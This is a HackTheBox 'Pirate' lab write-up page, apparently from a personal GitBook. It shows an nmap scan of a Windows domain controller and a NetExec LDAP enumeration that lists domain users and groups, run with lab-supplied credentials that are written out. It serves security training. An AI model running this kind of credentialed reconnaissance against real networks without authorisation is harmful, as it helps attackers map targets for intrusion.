> For the complete documentation index, see [llms.txt](https://eth3real.gitbook.io/eth3real/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://eth3real.gitbook.io/eth3real/documentation/platforms/hackthebox/labs/hard/pirate.md). # Pirate ``` # Nmap 7.99 scan initiated Thu Apr 16 16:22:15 2026 as: /usr/lib/nmap/nmap --privileged -A -sC -sV -vv -oN nop.txt 10.129.244.95 Nmap scan report for 10.129.244.95 Host is up, received echo-reply ttl 127 (0.060s latency). Scanned at 2026-04-16 16:22:16 IST for 7570s Not shown: 985 filtered tcp ports (no-response) PORT STATE SERVICE REASON VERSION 53/tcp open domain syn-ack ttl 127 Simple DNS Plus 80/tcp open http syn-ack ttl 126 Microsoft IIS httpd 10.0 |_http-title: IIS Windows Server | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE 88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-04-16 17:52:30Z) 135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn 389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: pirate.htb, Site: Default-First-Site-Name) |_ssl-date: 2026-04-16T19:58:26+00:00; +7h00m01s from scanner time. | ssl-cert: Subject: commonName=DC01.pirate.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:DC01.pirate.htb | Issuer: commonName=pirate-DC01-CA/domainComponent=pirate | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-06-09T14:05:15 | Not valid after: 2026-06-09T14:05:15 | MD5: 5c8e b331 ef90 890a d8e3 feaa b53c 2910 | SHA-1: 0128 c655 2aed c190 efff d3eb a2fb 034b fa86 ab69 | SHA-256: a2c7 cecc 4854 8f57 a69c 7302 9621 8bb1 6796 ee2d ad60 c34b b005 9a00 a1e6 3358 | -----BEGIN CERTIFICATE----- | MIIGKDCCBRCgAwIBAgITdAAAAAP6wnCqSNol9QAAAAAAAzANBgkqhkiG9w0BAQsF | ADBGMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGcGlyYXRl | MRcwFQYDVQQDEw5waXJhdGUtREMwMS1DQTAeFw0yNTA2MDkxNDA1MTVaFw0yNjA2 | MDkxNDA1MTVaMBoxGDAWBgNVBAMTD0RDMDEucGlyYXRlLmh0YjCCASIwDQYJKoZI | hvcNAQEBBQADggEPADCCAQoCggEBAMnSrMfKeTD3rXSf5Vtyri9jELPEvEcLNbDF | MoMV9vFYfbJgCd4a1xRs1Zc1AKGti9l45w2WYGI8POtp9oBlg0sb0+9LX07mxLr3 | 28BJ2VNxhV6JhOMMSBRlQ4K5B7vKzgXw24CIfPUHrfPJJ3G6cjEDawDLQErlRFJ7 | p/fEgs5CTePFrcpiB94JBoaV1a+kBiY7a2sHGZXWy4alXoP/a0GEEdzcSPFj5MVV | jA8NvEmptFG+SzZO9szR03rQRzhJHsVTQHgjw0+2NOi5UJ3GlhUiFzynSrfRae45 | qpqRzQ6wLYnlKvVv2OIujkgYBaCPvmTJ2ZGkD+pF5pILfcvdBn0CAwEAAaOCAzkw | ggM1MC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABs | AGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/BAQD | AgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3DQME | AgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjALBglg | hkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFAnRcvhGgC93 | sCJqS7xJfQe20VzfMB8GA1UdIwQYMBaAFLtY4D2HzTfY9jUtfvRgBNVPOZsIMIHI | BgNVHR8EgcAwgb0wgbqggbeggbSGgbFsZGFwOi8vL0NOPXBpcmF0ZS1EQzAxLUNB | LENOPURDMDEsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNl | cnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9cGlyYXRlLERDPWh0Yj9jZXJ0aWZp | Y2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0 | aW9uUG9pbnQwgb8GCCsGAQUFBwEBBIGyMIGvMIGsBggrBgEFBQcwAoaBn2xkYXA6 | Ly8vQ049cGlyYXRlLURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNl | cnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9cGlyYXRlLERD | PWh0Yj9jQUNlcnRpZmljYXRlP2Jhc2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlv | bkF1dGhvcml0eTA7BgNVHREENDAyoB8GCSsGAQQBgjcZAaASBBDEVbnRlVqPSpJn | m1iCmy/sgg9EQzAxLnBpcmF0ZS5odGIwTwYJKwYBBAGCNxkCBEIwQKA+BgorBgEE | AYI3GQIBoDAELlMtMS01LTIxLTQxMDc0MjQxMjgtNDE1ODA4MzU3My0xMzAwMzI1 | MjQ4LTEwMDAwDQYJKoZIhvcNAQELBQADggEBAJv8X9T3HMKJ0L6m6eaHhd/X7C4d | Ax38d6E6LbKYFyeK/UvbuFHCbMP9idfKxOEXsxKAvbK5F2rSkrlEeRqnnU68WkcU | AG/gjmWOt1GFayNUGeUNteP1B8tpAv3V4BisIjOaE7oflz7+z1TImhcyghBbpG+n | EviKNA3eQmxPpvcpmGvlg+70A1EghOfHOLr/3/ezfUmGUaYMONadSMM1rgN0Tcux | 4dX2LDo4PoAbEY/X9z0C/mUJGaIw0NRaYwYnnXJSDaj42juZvgGbomE2JB5Tu+gJ | hriiFzSqPhNk/jSlWx8H6TindyH+xyK9q5xa6X20tmEKYVtS2aAcSmt2URI= |_-----END CERTIFICATE----- 443/tcp open https? syn-ack ttl 126 445/tcp open microsoft-ds? syn-ack ttl 127 464/tcp open kpasswd5? syn-ack ttl 127 593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: pirate.htb, Site: Default-First-Site-Name) |_ssl-date: 2026-04-16T19:58:26+00:00; +7h00m01s from scanner time. | ssl-cert: Subject: commonName=DC01.pirate.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:DC01.pirate.htb | Issuer: commonName=pirate-DC01-CA/domainComponent=pirate | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-06-09T14:05:15 | Not valid after: 2026-06-09T14:05:15 | MD5: 5c8e b331 ef90 890a d8e3 feaa b53c 2910 | SHA-1: 0128 c655 2aed c190 efff d3eb a2fb 034b fa86 ab69 | SHA-256: a2c7 cecc 4854 8f57 a69c 7302 9621 8bb1 6796 ee2d ad60 c34b b005 9a00 a1e6 3358 | -----BEGIN CERTIFICATE----- | MIIGKDCCBRCgAwIBAgITdAAAAAP6wnCqSNol9QAAAAAAAzANBgkqhkiG9w0BAQsF | ADBGMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGcGlyYXRl | MRcwFQYDVQQDEw5waXJhdGUtREMwMS1DQTAeFw0yNTA2MDkxNDA1MTVaFw0yNjA2 | MDkxNDA1MTVaMBoxGDAWBgNVBAMTD0RDMDEucGlyYXRlLmh0YjCCASIwDQYJKoZI | hvcNAQEBBQADggEPADCCAQoCggEBAMnSrMfKeTD3rXSf5Vtyri9jELPEvEcLNbDF | MoMV9vFYfbJgCd4a1xRs1Zc1AKGti9l45w2WYGI8POtp9oBlg0sb0+9LX07mxLr3 | 28BJ2VNxhV6JhOMMSBRlQ4K5B7vKzgXw24CIfPUHrfPJJ3G6cjEDawDLQErlRFJ7 | p/fEgs5CTePFrcpiB94JBoaV1a+kBiY7a2sHGZXWy4alXoP/a0GEEdzcSPFj5MVV | jA8NvEmptFG+SzZO9szR03rQRzhJHsVTQHgjw0+2NOi5UJ3GlhUiFzynSrfRae45 | qpqRzQ6wLYnlKvVv2OIujkgYBaCPvmTJ2ZGkD+pF5pILfcvdBn0CAwEAAaOCAzkw | ggM1MC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABs | AGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/BAQD | AgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3DQME | AgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjALBglg | hkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFAnRcvhGgC93 | sCJqS7xJfQe20VzfMB8GA1UdIwQYMBaAFLtY4D2HzTfY9jUtfvRgBNVPOZsIMIHI | BgNVHR8EgcAwgb0wgbqggbeggbSGgbFsZGFwOi8vL0NOPXBpcmF0ZS1EQzAxLUNB | LENOPURDMDEsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNl | cnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9cGlyYXRlLERDPWh0Yj9jZXJ0aWZp | Y2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0 | aW9uUG9pbnQwgb8GCCsGAQUFBwEBBIGyMIGvMIGsBggrBgEFBQcwAoaBn2xkYXA6 | Ly8vQ049cGlyYXRlLURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNl | cnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9cGlyYXRlLERD | PWh0Yj9jQUNlcnRpZmljYXRlP2Jhc2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlv | bkF1dGhvcml0eTA7BgNVHREENDAyoB8GCSsGAQQBgjcZAaASBBDEVbnRlVqPSpJn | m1iCmy/sgg9EQzAxLnBpcmF0ZS5odGIwTwYJKwYBBAGCNxkCBEIwQKA+BgorBgEE | AYI3GQIBoDAELlMtMS01LTIxLTQxMDc0MjQxMjgtNDE1ODA4MzU3My0xMzAwMzI1 | MjQ4LTEwMDAwDQYJKoZIhvcNAQELBQADggEBAJv8X9T3HMKJ0L6m6eaHhd/X7C4d | Ax38d6E6LbKYFyeK/UvbuFHCbMP9idfKxOEXsxKAvbK5F2rSkrlEeRqnnU68WkcU | AG/gjmWOt1GFayNUGeUNteP1B8tpAv3V4BisIjOaE7oflz7+z1TImhcyghBbpG+n | EviKNA3eQmxPpvcpmGvlg+70A1EghOfHOLr/3/ezfUmGUaYMONadSMM1rgN0Tcux | 4dX2LDo4PoAbEY/X9z0C/mUJGaIw0NRaYwYnnXJSDaj42juZvgGbomE2JB5Tu+gJ | hriiFzSqPhNk/jSlWx8H6TindyH+xyK9q5xa6X20tmEKYVtS2aAcSmt2URI= |_-----END CERTIFICATE----- 2179/tcp open vmrdp? syn-ack ttl 127 3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: pirate.htb, Site: Default-First-Site-Name) |_ssl-date: 2026-04-16T19:58:26+00:00; +7h00m01s from scanner time. | ssl-cert: Subject: commonName=DC01.pirate.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:DC01.pirate.htb | Issuer: commonName=pirate-DC01-CA/domainComponent=pirate | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-06-09T14:05:15 | Not valid after: 2026-06-09T14:05:15 | MD5: 5c8e b331 ef90 890a d8e3 feaa b53c 2910 | SHA-1: 0128 c655 2aed c190 efff d3eb a2fb 034b fa86 ab69 | SHA-256: a2c7 cecc 4854 8f57 a69c 7302 9621 8bb1 6796 ee2d ad60 c34b b005 9a00 a1e6 3358 | -----BEGIN CERTIFICATE----- | MIIGKDCCBRCgAwIBAgITdAAAAAP6wnCqSNol9QAAAAAAAzANBgkqhkiG9w0BAQsF | ADBGMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGcGlyYXRl | MRcwFQYDVQQDEw5waXJhdGUtREMwMS1DQTAeFw0yNTA2MDkxNDA1MTVaFw0yNjA2 | MDkxNDA1MTVaMBoxGDAWBgNVBAMTD0RDMDEucGlyYXRlLmh0YjCCASIwDQYJKoZI | hvcNAQEBBQADggEPADCCAQoCggEBAMnSrMfKeTD3rXSf5Vtyri9jELPEvEcLNbDF | MoMV9vFYfbJgCd4a1xRs1Zc1AKGti9l45w2WYGI8POtp9oBlg0sb0+9LX07mxLr3 | 28BJ2VNxhV6JhOMMSBRlQ4K5B7vKzgXw24CIfPUHrfPJJ3G6cjEDawDLQErlRFJ7 | p/fEgs5CTePFrcpiB94JBoaV1a+kBiY7a2sHGZXWy4alXoP/a0GEEdzcSPFj5MVV | jA8NvEmptFG+SzZO9szR03rQRzhJHsVTQHgjw0+2NOi5UJ3GlhUiFzynSrfRae45 | qpqRzQ6wLYnlKvVv2OIujkgYBaCPvmTJ2ZGkD+pF5pILfcvdBn0CAwEAAaOCAzkw | ggM1MC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABs | AGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/BAQD | AgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3DQME | AgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjALBglg | hkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFAnRcvhGgC93 | sCJqS7xJfQe20VzfMB8GA1UdIwQYMBaAFLtY4D2HzTfY9jUtfvRgBNVPOZsIMIHI | BgNVHR8EgcAwgb0wgbqggbeggbSGgbFsZGFwOi8vL0NOPXBpcmF0ZS1EQzAxLUNB | LENOPURDMDEsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNl | cnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9cGlyYXRlLERDPWh0Yj9jZXJ0aWZp | Y2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0 | aW9uUG9pbnQwgb8GCCsGAQUFBwEBBIGyMIGvMIGsBggrBgEFBQcwAoaBn2xkYXA6 | Ly8vQ049cGlyYXRlLURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNl | cnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9cGlyYXRlLERD | PWh0Yj9jQUNlcnRpZmljYXRlP2Jhc2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlv | bkF1dGhvcml0eTA7BgNVHREENDAyoB8GCSsGAQQBgjcZAaASBBDEVbnRlVqPSpJn | m1iCmy/sgg9EQzAxLnBpcmF0ZS5odGIwTwYJKwYBBAGCNxkCBEIwQKA+BgorBgEE | AYI3GQIBoDAELlMtMS01LTIxLTQxMDc0MjQxMjgtNDE1ODA4MzU3My0xMzAwMzI1 | MjQ4LTEwMDAwDQYJKoZIhvcNAQELBQADggEBAJv8X9T3HMKJ0L6m6eaHhd/X7C4d | Ax38d6E6LbKYFyeK/UvbuFHCbMP9idfKxOEXsxKAvbK5F2rSkrlEeRqnnU68WkcU | AG/gjmWOt1GFayNUGeUNteP1B8tpAv3V4BisIjOaE7oflz7+z1TImhcyghBbpG+n | EviKNA3eQmxPpvcpmGvlg+70A1EghOfHOLr/3/ezfUmGUaYMONadSMM1rgN0Tcux | 4dX2LDo4PoAbEY/X9z0C/mUJGaIw0NRaYwYnnXJSDaj42juZvgGbomE2JB5Tu+gJ | hriiFzSqPhNk/jSlWx8H6TindyH+xyK9q5xa6X20tmEKYVtS2aAcSmt2URI= |_-----END CERTIFICATE----- 3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: pirate.htb, Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=DC01.pirate.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:DC01.pirate.htb | Issuer: commonName=pirate-DC01-CA/domainComponent=pirate | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-06-09T14:05:15 | Not valid after: 2026-06-09T14:05:15 | MD5: 5c8e b331 ef90 890a d8e3 feaa b53c 2910 | SHA-1: 0128 c655 2aed c190 efff d3eb a2fb 034b fa86 ab69 | SHA-256: a2c7 cecc 4854 8f57 a69c 7302 9621 8bb1 6796 ee2d ad60 c34b b005 9a00 a1e6 3358 | -----BEGIN CERTIFICATE----- | MIIGKDCCBRCgAwIBAgITdAAAAAP6wnCqSNol9QAAAAAAAzANBgkqhkiG9w0BAQsF | ADBGMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGcGlyYXRl | MRcwFQYDVQQDEw5waXJhdGUtREMwMS1DQTAeFw0yNTA2MDkxNDA1MTVaFw0yNjA2 | MDkxNDA1MTVaMBoxGDAWBgNVBAMTD0RDMDEucGlyYXRlLmh0YjCCASIwDQYJKoZI | hvcNAQEBBQADggEPADCCAQoCggEBAMnSrMfKeTD3rXSf5Vtyri9jELPEvEcLNbDF | MoMV9vFYfbJgCd4a1xRs1Zc1AKGti9l45w2WYGI8POtp9oBlg0sb0+9LX07mxLr3 | 28BJ2VNxhV6JhOMMSBRlQ4K5B7vKzgXw24CIfPUHrfPJJ3G6cjEDawDLQErlRFJ7 | p/fEgs5CTePFrcpiB94JBoaV1a+kBiY7a2sHGZXWy4alXoP/a0GEEdzcSPFj5MVV | jA8NvEmptFG+SzZO9szR03rQRzhJHsVTQHgjw0+2NOi5UJ3GlhUiFzynSrfRae45 | qpqRzQ6wLYnlKvVv2OIujkgYBaCPvmTJ2ZGkD+pF5pILfcvdBn0CAwEAAaOCAzkw | ggM1MC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABs | AGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/BAQD | AgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3DQME | AgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjALBglg | hkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFAnRcvhGgC93 | sCJqS7xJfQe20VzfMB8GA1UdIwQYMBaAFLtY4D2HzTfY9jUtfvRgBNVPOZsIMIHI | BgNVHR8EgcAwgb0wgbqggbeggbSGgbFsZGFwOi8vL0NOPXBpcmF0ZS1EQzAxLUNB | LENOPURDMDEsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNl | cnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9cGlyYXRlLERDPWh0Yj9jZXJ0aWZp | Y2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0 | aW9uUG9pbnQwgb8GCCsGAQUFBwEBBIGyMIGvMIGsBggrBgEFBQcwAoaBn2xkYXA6 | Ly8vQ049cGlyYXRlLURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNl | cnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9cGlyYXRlLERD | PWh0Yj9jQUNlcnRpZmljYXRlP2Jhc2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlv | bkF1dGhvcml0eTA7BgNVHREENDAyoB8GCSsGAQQBgjcZAaASBBDEVbnRlVqPSpJn | m1iCmy/sgg9EQzAxLnBpcmF0ZS5odGIwTwYJKwYBBAGCNxkCBEIwQKA+BgorBgEE | AYI3GQIBoDAELlMtMS01LTIxLTQxMDc0MjQxMjgtNDE1ODA4MzU3My0xMzAwMzI1 | MjQ4LTEwMDAwDQYJKoZIhvcNAQELBQADggEBAJv8X9T3HMKJ0L6m6eaHhd/X7C4d | Ax38d6E6LbKYFyeK/UvbuFHCbMP9idfKxOEXsxKAvbK5F2rSkrlEeRqnnU68WkcU | AG/gjmWOt1GFayNUGeUNteP1B8tpAv3V4BisIjOaE7oflz7+z1TImhcyghBbpG+n | EviKNA3eQmxPpvcpmGvlg+70A1EghOfHOLr/3/ezfUmGUaYMONadSMM1rgN0Tcux | 4dX2LDo4PoAbEY/X9z0C/mUJGaIw0NRaYwYnnXJSDaj42juZvgGbomE2JB5Tu+gJ | hriiFzSqPhNk/jSlWx8H6TindyH+xyK9q5xa6X20tmEKYVtS2aAcSmt2URI= |_-----END CERTIFICATE----- |_ssl-date: 2026-04-16T19:58:26+00:00; +7h00m01s from scanner time. 5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2019|10 (97%) OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10 OS fingerprint not ideal because: Missing a closed TCP port so results incomplete Aggressive OS guesses: Microsoft Windows Server 2019 (97%), Microsoft Windows 10 1903 - 22H2 (91%) No exact OS matches for host (test conditions non-ideal). TCP/IP fingerprint: SCAN(V=7.99%E=4%D=4/16%OT=53%CT=%CU=%PV=Y%DS=2%DC=T%G=N%TM=69E0DCF2%P=x86_64-pc-linux-gnu) SEQ(SP=105%GCD=1%ISR=102%TI=I%II=I%SS=S%TS=U) SEQ(SP=106%GCD=1%ISR=109%TI=I%II=I%SS=S%TS=U) OPS(O1=M552NW8NNS%O2=M552NW8NNS%O3=M552NW8%O4=M552NW8NNS%O5=M552NW8NNS%O6=M552NNS) WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70) ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M552NW8NNS%CC=Y%Q=) T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=) T2(R=N) T3(R=N) T4(R=N) U1(R=N) IE(R=Y%DFI=N%TG=80%CD=Z) Network Distance: 2 hops TCP Sequence Prediction: Difficulty=261 (Good luck!) IP ID Sequence Generation: Incremental Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2026-04-16T17:53:20 |_ start_date: N/A | p2p-conficker: | Checking for Conficker.C or higher... | Check 1 (port 65389/tcp): CLEAN (Timeout) | Check 2 (port 37755/tcp): CLEAN (Timeout) | Check 3 (port 53723/udp): CLEAN (Timeout) | Check 4 (port 63535/udp): CLEAN (Timeout) |_ 0/4 checks are positive: Host is CLEAN or ports are blocked | smb2-security-mode: | 3.1.1: |_ Message signing enabled and required |_clock-skew: mean: 7h00m01s, deviation: 0s, median: 7h00m00s TRACEROUTE (using port 53/tcp) HOP RTT ADDRESS 1 58.38 ms 10.10.14.1 2 58.94 ms 10.129.244.95 Read data files from: /usr/share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu Apr 16 18:28:26 2026 -- 1 IP address (1 host up) scanned in 7571.42 seconds ``` ``` ┌──(kali㉿kali)-[~/HTB/Labs/Pirate] └─$ nxc ldap 10.129.244.95 -u 'pentest' -p 'p3nt3st2025!&' --trusted-for-delegation --password-not-required --admin-count --users --groups LDAP 10.129.244.95 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:None) (channel binding:Never) LDAP 10.129.244.95 389 DC01 [+] pirate.htb\pentest:p3nt3st2025!& LDAP 10.129.244.95 389 DC01 DC01$ LDAP 10.129.244.95 389 DC01 User: MS01$ Status: enabled LDAP 10.129.244.95 389 DC01 User: EXCH01$ Status: enabled LDAP 10.129.244.95 389 DC01 User: Guest Status: disabled LDAP 10.129.244.95 389 DC01 Administrator LDAP 10.129.244.95 389 DC01 krbtgt LDAP 10.129.244.95 389 DC01 [*] Enumerated 7 domain users: pirate.htb LDAP 10.129.244.95 389 DC01 -Username- -Last PW Set- -BadPW- -Description- LDAP 10.129.244.95 389 DC01 Administrator 2025-06-08 20:02:36 0 Built-in account for administering the computer/domain LDAP 10.129.244.95 389 DC01 Guest 0 Built-in account for guest access to the computer/domain LDAP 10.129.244.95 389 DC01 krbtgt 2025-06-08 20:10:29 0 Key Distribution Center Service Account LDAP 10.129.244.95 389 DC01 a.white_adm 2026-01-16 06:06:34 0 LDAP 10.129.244.95 389 DC01 a.white 2025-06-09 01:03:01 0 LDAP 10.129.244.95 389 DC01 pentest 2025-06-09 19:10:23 0 LDAP 10.129.244.95 389 DC01 j.sparrow 2025-06-09 20:38:44 0 LDAP 10.129.244.95 389 DC01 -Group- -Members- -Description- LDAP 10.129.244.95 389 DC01 Administrators 3 Administrators have complete and unrestricted access to the computer/domain LDAP 10.129.244.95 389 DC01 Users 3 Users are prevented from making accidental or intentional system-wide changes and can run most applications LDAP 10.129.244.95 389 DC01 Guests 2 Guests have the same access as members of the Users group by default, except for the Guest account which is further restricted LDAP 10.129.244.95 389 DC01 Print Operators 0 Members can administer printers installed on domain controllers LDAP 10.129.244.95 389 DC01 Backup Operators 0 Backup Operators can override security restrictions for the sole purpose of backing up or restoring files LDAP 10.129.244.95 389 DC01 Replicator 0 Supports file replication in a domain LDAP 10.129.244.95 389 DC01 Remote Desktop Users 0 Members in this group are granted the right to logon remotely LDAP 10.129.244.95 389 DC01 Network Configuration Operators 0 Members in this group can have some administrative privileges to manage configuration of networking features LDAP 10.129.244.95 389 DC01 Performance Monitor Users 0 Members of this group can access performance counter data locally and remotely LDAP 10.129.244.95 389 DC01 Performance Log Users 0 Members of this group may schedule logging of performance counters, enable trace providers, and collect event traces both locally and via remote access to this computer LDAP 10.129.244.95 389 DC01 Distributed COM Users 0 Members are allowed to launch, activate and use Distributed COM objects on this machine. LDAP 10.129.244.95 389 DC01 IIS_IUSRS 1 Built-in group used by Internet Information Services. LDAP 10.129.244.95 389 DC01 Cryptographic Operators 0 Members are authorized to perform cryptographic operations. LDAP 10.129.244.95 389 DC01 Event Log Readers 0 Members of this group can read event logs from local machine LDAP 10.129.244.95 389 DC01 Certificate Service DCOM Access 1 Members of this group are allowed to connect to Certification Authorities in the enterprise LDAP 10.129.244.95 389 DC01 RDS Remote Access Servers 0 Servers in this group enable users of RemoteApp programs and personal virtual desktops access to these resources. In Internet-facing deployments, these servers are typically deployed in an edge network. This group needs to be populated on servers running RD Connection Broker. RD Gateway servers and RD Web Access servers used in the deployment need to be in this group. LDAP 10.129.244.95 389 DC01 RDS Endpoint Servers 0 Servers in this group run virtual machines and host sessions where users RemoteApp programs and personal virtual desktops run. This group needs to be populated on servers running RD Connection Broker. RD Session Host servers and RD Virtualization Host servers used in the deployment need to be in this group. LDAP 10.129.244.95 389 DC01 RDS Management Servers 0 Servers in this group can perform routine administrative actions on servers running Remote Desktop Services. This group needs to be populated on all servers in a Remote Desktop Services deployment. The servers running the RDS Central Management service must be included in this group. LDAP 10.129.244.95 389 DC01 Hyper-V Administrators 0 Members of this group have complete and unrestricted access to all features of Hyper-V. LDAP 10.129.244.95 389 DC01 Access Control Assistance Operators 0 Members of this group can remotely query authorization attributes and permissions for resources on this computer. LDAP 10.129.244.95 389 DC01 Remote Management Users 2 Members of this group can access WMI resources over management protocols (such as WS-Management via the Windows Remote Management service). This applies only to WMI namespaces that grant access to the user. LDAP 10.129.244.95 389 DC01 Storage Replica Administrators 0 Members of this group have complete and unrestricted access to all features of Storage Replica. LDAP 10.129.244.95 389 DC01 Domain Computers 0 All workstations and servers joined to the domain LDAP 10.129.244.95 389 DC01 Domain Controllers 0 All domain controllers in the domain LDAP 10.129.244.95 389 DC01 Schema Admins 1 Designated administrators of the schema LDAP 10.129.244.95 389 DC01 Enterprise Admins 1 Designated administrators of the enterprise LDAP 10.129.244.95 389 DC01 Cert Publishers 1 Members of this group are permitted to publish certificates to the directory LDAP 10.129.244.95 389 DC01 Domain Admins 1 Designated administrators of the domain LDAP 10.129.244.95 389 DC01 Domain Users 0 All domain users LDAP 10.129.244.95 389 DC01 Domain Guests 0 All domain guests LDAP 10.129.244.95 389 DC01 Group Policy Creator Owners 1 Members in this group can modify group policy for the domain LDAP 10.129.244.95 389 DC01 RAS and IAS Servers 0 Servers in this group can access remote access properties of users LDAP 10.129.244.95 389 DC01 Server Operators 0 Members can administer domain servers LDAP 10.129.244.95 389 DC01 Account Operators 0 Members can administer domain user and group accounts LDAP 10.129.244.95 389 DC01 Pre-Windows 2000 Compatible Access 4 A backward compatibility group which allows read access on all users and groups in the domain LDAP 10.129.244.95 389 DC01 Incoming Forest Trust Builders 0 Members of this group can create incoming, one-way trusts to this forest LDAP 10.129.244.95 389 DC01 Windows Authorization Access Group 1 Members of this group have access to the computed tokenGroupsGlobalAndUniversal attribute on User objects 